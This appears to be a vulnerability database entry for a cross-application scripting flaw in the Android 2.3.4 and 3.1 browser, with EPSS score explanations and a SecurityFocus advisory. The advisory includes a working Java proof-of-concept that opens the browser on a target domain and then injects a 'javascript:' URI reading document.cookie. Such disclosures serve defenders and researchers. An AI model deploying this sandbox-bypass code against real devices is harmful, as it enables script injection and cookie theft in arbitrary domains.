CVE Descriptions

Cross-application scripting vulnerability in the Browser URL loading functionality in Android 2.3.4 and 3.1 allows local applications to bypass the sandbox and execute arbitrary Javascript in arbitrary domains by (1) causing the MAX_TAB number of tabs to be opened, then loading a URI to the targeted domain into the current tab, or (2) making two startActivity function calls beginning with the targeted domain's URI followed by the malicious Javascript while the UI focus is still associated with the targeted domain.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/48954/info Open Handset Alliance Android is prone to a vulnerability that may allow a bypass of the browser sandbox. Successful exploits will allow attackers to execute arbitrary script code within the context of an arbitrary domain. Android 2.3.4 and 3.1 are vulnerable; prior versions may also be affected. public class CasExploit extends Activity { static final String mPackage = "com.android.browser"; static final String mClass = "BrowserActivity"; static final String mUrl = "http://target.domain/";; static final String mJavascript = "alert(document.cookie)"; static final int mSleep = 15000; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); startBrowserActivity(mUrl); try { Thread.sleep(mSleep); } catch (InterruptedException e) {} startBrowserActivity("javascript:" + mJavascript); } private void startBrowserActivity(String url) { Intent res = new Intent("android.intent.action.VIEW"); res.setComponent(new ComponentName(mPackage,mPackage+"."+mClass)); res.setData(Uri.parse(url)); startActivity(res); } }
